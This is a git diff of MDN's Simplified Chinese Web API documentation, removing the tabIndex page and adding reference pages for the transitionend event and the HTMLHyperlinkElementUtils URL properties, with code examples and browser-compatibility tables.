注意不能通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性够用来设置样式。此外,通过单独的样式属性(如elt.style.color = '...')比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

- -

例子

- -
// 在单个语句中设置多个样式
-elt.style.cssText = "color: blue; border: 1px solid black";
-// 或者
-elt.setAttribute("style", "color:red; border: 1px solid blue;");
-
-// 设置特定样式,同时保持其他内联样式值不变
-elt.style.color = "blue";
-
- -

获取元素样式信息

- -

通常,要了解元素样式的信息,仅仅使用 style 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。

- -
<!DOCTYPE HTML>
-<html>
-<body style="font-weight:bold;">
-
-    <div style="color:red" id="myElement">..</div>
-
- </body>
-</html>
- -

下面的代码输出 style 所有属性的名字,以及为元素 elt 显式设置的属性值和继承的计算值(computed value):

- -
var element = document.getElementById("myElement");
-var out = "";
-var elementStyle = element.style;
-var computedStyle = window.getComputedStyle(element, null);
-
-for (prop in elementStyle) {
-  if (elementStyle.hasOwnProperty(prop)) {
-    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
-  }
-}
-console.log(out)
- -

输出结果如下:

- -
...
-fontWeight = '' > 'bold'
-color = 'red' > 'rgb(255, 0, 0)'
-...
-
- -

请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值

- -

规范

- -

DOM Level 2 Style: ElementCSSInlineStyle.style

- -

CSSOM: ElementCSSInlineStyle

- -

兼容性

- - - -

{{Compat("api.HTMLElement.style")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlelement/tabindex/index.html b/files/zh-cn/web/api/htmlelement/tabindex/index.html deleted file mode 100644 index 516c659c2a..0000000000 --- a/files/zh-cn/web/api/htmlelement/tabindex/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: HTMLElement.tabIndex -slug: Web/API/HTMLElement/tabIndex -translation_of: Web/API/HTMLOrForeignElement/tabIndex ---- -
-
{{ APIRef("HTML DOM") }}
-
- -

概述

- -

获取或设置当前元素的tab键激活顺序.

- -

语法

- -
element.tabIndex = index index = element.tabIndex
-
- -

参数

- -
    -
  • index是一个数字,表示顺序。取值需要在0到32767之间。
  • -
- -

Tab键的遍历顺序是这样的:

- -
    -
  1. 对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。
  2. -
  3. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。
  4. -
  5. 处于不可用状态的元素不会被遍历到。
  6. -
- -

支持tabIndex属性的元素有:a,area,button,input,object,select和textarea

- -

tabIndex的值不需要是连续的,也不需要以某个特定值开始。

- -

例子

- -
var b1 = document.getElementById("button1");
-b1.tabIndex = 1;
-
- -

规范

- -

W3C DOM Level 2 HTML tabIndex

- -

了解更多,请查看: The solution: changes to standard behavior of tabindex

- -

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html new file mode 100644 index 0000000000..f79db8503a --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html @@ -0,0 +1,132 @@ +--- +title: transitionend +slug: Web/Events/transitionend +translation_of: Web/API/HTMLElement/transitionend_event +--- +
{{APIRef}}
+ +

transitionend 事件会在 CSS transition 结束后触发. 当transition完成前移除transition时,比如移除css的{{cssxref("transition-property")}} 属性,事件将不会被触发.如在transition完成前设置  {{cssxref("display")}} 为"none",事件同样不会被触发。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("TransitionEvent")}}
事件处理器属性{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
+ +

transitionend 事件是双向触发的 - 当完成到转换状态的过渡,以及完全恢复到默认或非转换状态时都会触发。 如果没有过渡延迟或持续时间,即两者的值都为0s或者都未声明, 则不发生过渡,并且任何过渡事件都不会触发。如果触发了 transitioncancel 事件,则transitionend 事件不会触发。

+ +

+ +
/*
+ * 在指定的元素上监听transitionend事件, 例如#slidingMenu
+ * 然后指定一个函数, 例如 showMessage()
+ */
+function showMessage() {
+    console.log('Transition 已完成');
+}
+
+var element = document.getElementById("slidingMenu");
+element.addEventListener("transitionend", showMessage, false);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Transitions", "#transition-events", "transitionend")}}{{ Spec2('CSS3 Transitions') }}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0[1]
+ 36
{{CompatGeckoDesktop("2.0")}}1010.5[2]
+ 12
+ 12.10
+ 23
3.2[1]
+ 7.0.6
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}10[2]
+ 12
+ 12.10
3.2[1]
+
+ +

[1] 在 Chrome 1.0, Android 2.1 与 WebKit 3.2 上实现 webkitTransitionEnd. Chrome 36 与 WebKit 7.0.6 上请使用标准事件 transitionend.

+ +

[2] 在 Opera 10.5 上实现oTransitionEnd,从版本12开始实现 otransitionend, 从版本12.10开始实现 transitionend.

+ +

参考

+ +
    +
  • The {{ domxref("TransitionEvent") }} interface and the transitionend event.
  • +
  • {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}.
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html new file mode 100644 index 0000000000..5d8cc21f43 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html @@ -0,0 +1,109 @@ +--- +title: HTMLHyperlinkElementUtils.hash +slug: Web/API/URLUtils/hash +tags: + - HTMLHyperlinkElementUtils.hash +translation_of: Web/API/HTMLHyperlinkElementUtils/hash +--- +

{{ APIRef("URLUtils") }}

+ +

HTMLHyperlinkElementUtils.hash 属性返回一个包含“#”的 {{domxref("DOMString")}} , 后跟URL的片段标识符。

+ +

片段没有百分比解码。如果URL没有包含片段标识符,这个属性为一个空的字符串, "".

+ +

Syntax

+ +
string = object.hash;
+object.hash = string;
+
+ +

Examples

+ +
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> element be in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.hash; // Returns:'#youhou'
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface. Also, from Gecko 29 to Gecko 40, the returned value was incorrectly percent-decoded.

+ +

See also

+ +
    +
  • The {{domxref("HTMLHyperlinkElementUtils")}} interface it belongs to.
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html new file mode 100644 index 0000000000..cff669766d --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html @@ -0,0 +1,108 @@ +--- +title: HTMLHyperlinkElementUtils.href +slug: Web/API/URLUtils/href +tags: + - HTMLHyperlinkElementUtils.href +translation_of: Web/API/HTMLHyperlinkElementUtils/href +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.href 属性是一个包含整个URL的 {{domxref("USVString")}}。

+ +

Syntax

+ +
string = object.href;
+object.href = string;
+
+ +

Examples

+ +
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moved either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ +
    +
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html new file mode 100644 index 0000000000..e8d6c719d9 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html @@ -0,0 +1,83 @@ +--- +title: URLUtils +slug: Web/API/URLUtils +translation_of: Web/API/HTMLHyperlinkElementUtils +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}}

+ +

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

+ +

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

+ +

属性

+ +
+

注意:This interface doesn't inherit any property.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.href")}}
+
This is a {{domxref("USVString")}} containing the whole URL.
+
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
+
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
+
{{domxref("HTMLHyperlinkElementUtils.host")}}
+
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
+
This is a {{domxref("USVString")}} containing the domain of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.port")}}
+
This is a {{domxref("USVString")}} containing the port number of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
+
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.search")}}
+
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hash")}}
+
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.username")}}
+
This is a {{domxref("USVString")}} containing the username specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.password")}}
+
This is a {{domxref("USVString")}} containing the password specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
+
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
+
+ +

方法

+ +
+

注意:This interface doesn't inherit any method.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
+
This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLHyperlinkElementUtils")}}

+ +

参见

+ +
    +
  • Interfaces implementing this one: {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html new file mode 100644 index 0000000000..d0f8d926ec --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.origin +slug: Web/API/URLUtils/origin +tags: + - HTMLHyperlinkElementUtils.origin +translation_of: Web/API/HTMLHyperlinkElementUtils/origin +--- +

{{APIRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.origin 只读属性是一个 {{domxref("USVString")}} ,其中包含代表URL的原始码的Unicode序列化,即:

+ +
    +
  • for URL using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified);
  • +
  • for URL using file: scheme, the value is browser dependant;
  • +
  • for URL using the blob: scheme, the origin of the URL following blob:. E.g "blob:https://mozilla.org" will have "https://mozilla.org".
  • +
+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
string = object.origin;
+
+ +

Examples

+ +
// On this page, returns the origin
+var result = window.location.origin; // Returns:'https://developer.mozilla.org'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[4] Before Gecko 49, results for URL using the blob scheme incorrectly returned null.

+ +

See also

+ +
    +
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html new file mode 100644 index 0000000000..99e9944875 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html @@ -0,0 +1,104 @@ +--- +title: HTMLHyperlinkElementUtils.password +slug: Web/API/URLUtils/password +tags: + - HTMLHyperlinkElementUtils.password +translation_of: Web/API/HTMLHyperlinkElementUtils/password +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.password property 属性是一个{{domxref("USVString")}} ,包含域名前面指定的密码。

+ +

如果在没有首先设置用户名属性的情况下设置,则会静默失败。

+ +

Syntax

+ +
string = object.password;
+object.password = string;
+
+ +

Examples

+ +
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.password; // Returns:'flabada'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ +
    +
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html new file mode 100644 index 0000000000..203da5393a --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLHyperlinkElementUtils.pathname +slug: Web/API/URLUtils/pathname +tags: + - HTMLHyperlinkElementUtils.pathname +translation_of: Web/API/HTMLHyperlinkElementUtils/pathname +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.pathname 属性是一个 {{domxref("USVString")}} ,其中包含一个初始的'/'后跟URL的路径。

+ +

Syntax

+ +
string = object.pathname;
+object.pathname = string;
+
+ +

Examples

+ +
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> element be in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.pathname; // Returns:'/en-US/docs/HTMLHyperlinkElementUtils.pathname'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoDesktop("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoMobile("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[4] Before Firefox 53, the pathname and search HTMLHyperLinkElementUtils properties returned the wrong parts of the URL. For example, for a URL of http://z.com/x?a=true&b=false, pathname would return "/x?a=true&b=false" and search would return "", rather than "/x" and "?a=true&b=false" respectively. This has now been fixed.

+ +

See also

+ +
    +
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html new file mode 100644 index 0000000000..4c9c8ae554 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.search +slug: Web/API/URLUtils/search +tags: + - HTMLHyperlinkElementUtils.search +translation_of: Web/API/HTMLHyperlinkElementUtils/search +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.search 属性是一个搜索字符串,也叫做查询字符串, 它是一个 {{domxref("USVString")}} ,包含 '?' 和随后的 URL 参数。

+ +

语法

+ +
string = object.search;
+object.search = string;
+
+ +

示例

+ +
// 让一个
+// <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123" />
+//  元素在文档里
+
+let anchor = document.getElementById("myAnchor");
+let result = anchor.search;
+// 返回:'?q=123'
+
+ +

 

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
+
+ +

[1] 自Chrome 52起,该属性移至{{domxref('URL')}}

+ +

[2] 虽然没有被分在一个独立的抽象接口,但该方法可以在实现了它的那些接口上直接使用,如果支持该接口。

+ +

[3] 从Gecko 22 到 Gecko 44,该属性在 URLUtils mixin 上。它已经被移到 HTMLHyperlinkElementUtils mixin,或者直接在这个接口上。

+ +

[4] 在 Firefox 53之前, pathname search HTMLHyperLinkElementUtils 属性返回的URL部分是错误的。例如,对一个值为 http://z.com/x?a=true&b=false 的URL,pathname 会返回"/x?a=true&b=false" ,search 会返回 "", 而不是各自返回 "/x" 和"?a=true&b=false" 。这已经被修正了。

+ +

相关链接

+ +
    +
  • 它属于{{domxref("HTMLHyperlinkElementUtils")}} mixin 。
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html new file mode 100644 index 0000000000..172ffda98b --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLHyperlinkElementUtils.toString() +slug: Web/API/URLUtils/toString +tags: + - HTMLHyperlinkElementUtils.toString() + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/toString +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.toString() 方法返回一个包含整个URL的 {{domxref("USVString")}} 。它是{{domxref("HTMLHyperlinkElementUtils.href")}} 的一个只读版本。

+ +

句法

+ +
string = object.toString();
+ +

范例

+ +
/*
+Let's imagine an
+<a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString">
+ element is in the document
+*/
+var anchor = document.getElementById("myAnchor");
+var result = anchor.toString();
+// Returns: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[2] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

也可以看看

+ +
    +
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • +
diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html new file mode 100644 index 0000000000..2e7a101f9f --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html @@ -0,0 +1,102 @@ +--- +title: HTMLHyperlinkElementUtils.username +slug: Web/API/URLUtils/username +tags: + - HTMLHyperlinkElementUtils.username +translation_of: Web/API/HTMLHyperlinkElementUtils/username +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.username 属性是一个 {{domxref("USVString")}}包含域名前面指定的用户名。

+ +

Syntax

+ +
string = object.username;
+object.username = string;
+
+ +

Examples

+ +
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.username; // Returns:'anonymous'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ +
    +
  • The {{domxref("HTMLHyperlinkElementUtils")}} interface it belongs to.
  • +
